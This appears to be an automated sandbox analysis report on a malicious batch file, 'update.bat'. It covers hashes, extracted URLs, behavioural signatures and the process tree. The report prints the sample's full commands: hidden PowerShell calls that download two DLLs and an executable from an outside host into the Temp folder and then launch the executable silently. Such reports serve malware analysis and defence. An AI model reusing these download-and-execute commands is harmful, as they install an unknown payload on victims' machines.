Analysis
-
max time kernel
151s -
max time network
164s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-es -
resource tags
arch:x64arch:x86image:win10v2004-20230915-eslocale:es-esos:windows10-2004-x64systemwindows -
submitted
13-10-2023 03:10
Static task
static1
Behavioral task
behavioral1
Sample
update.bat
Resource
win10v2004-20230915-es
General
-
Target
update.bat
-
Size
6KB
-
MD5
97b7c88a02b2a5214d742b7ed50f4544
-
SHA1
15bf7dd44049b94db1a82504802ead45f6186fa0
-
SHA256
20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
-
SHA512
918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
-
SSDEEP
192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht
Malware Config
Extracted
https://tt.vg/download-update-dll1
https://tt.vg/dlldownload2sqliuit-download
https://tt.vg/download-latest-update
Signatures
-
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 7 4732 powershell.exe 30 4732 powershell.exe 33 4732 powershell.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4732 powershell.exe 4732 powershell.exe 3880 powershell.exe 3880 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4732 powershell.exe Token: SeDebugPrivilege 3880 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 4608 wrote to memory of 4732 4608 cmd.exe powershell.exe PID 4608 wrote to memory of 4732 4608 cmd.exe powershell.exe PID 4608 wrote to memory of 3880 4608 cmd.exe powershell.exe PID 4608 wrote to memory of 3880 4608 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\update.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4732
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3880
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5b6b62fabc50bfae977635bcebb14c566
SHA1653628f0db5229d9136ee897e92bedba3b1d91aa
SHA256bd5e81d2c243ab6465ad978a5124f723b6518c08d63e4ebb386a564ebf3384be
SHA5129bbbbdd9b0571e55065751e2100b21685ef630641bedf53e6a1c8b3ec96606c378ec53d732500e7dc17ae6e3a1b4d37f2fdbec8e493f6bdf10e4b829dad5962f
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
67KB
MD50d635a20bf0431cbb964009ad3fc6159
SHA1e8c816ab770b29a9cfe75d45e338597821a5d5e8
SHA25619768f3c96197f90589a3e852ce074a44041f37aaf1bd49db81450c625aaa2c2
SHA5129f00e727df810a96f51527b48f279f84d3bab290dcb0b3e8d0a96c8f80c7312688db86f187b4a57bc43a42c235495a1a864da12f292fc832a9dec3793b857715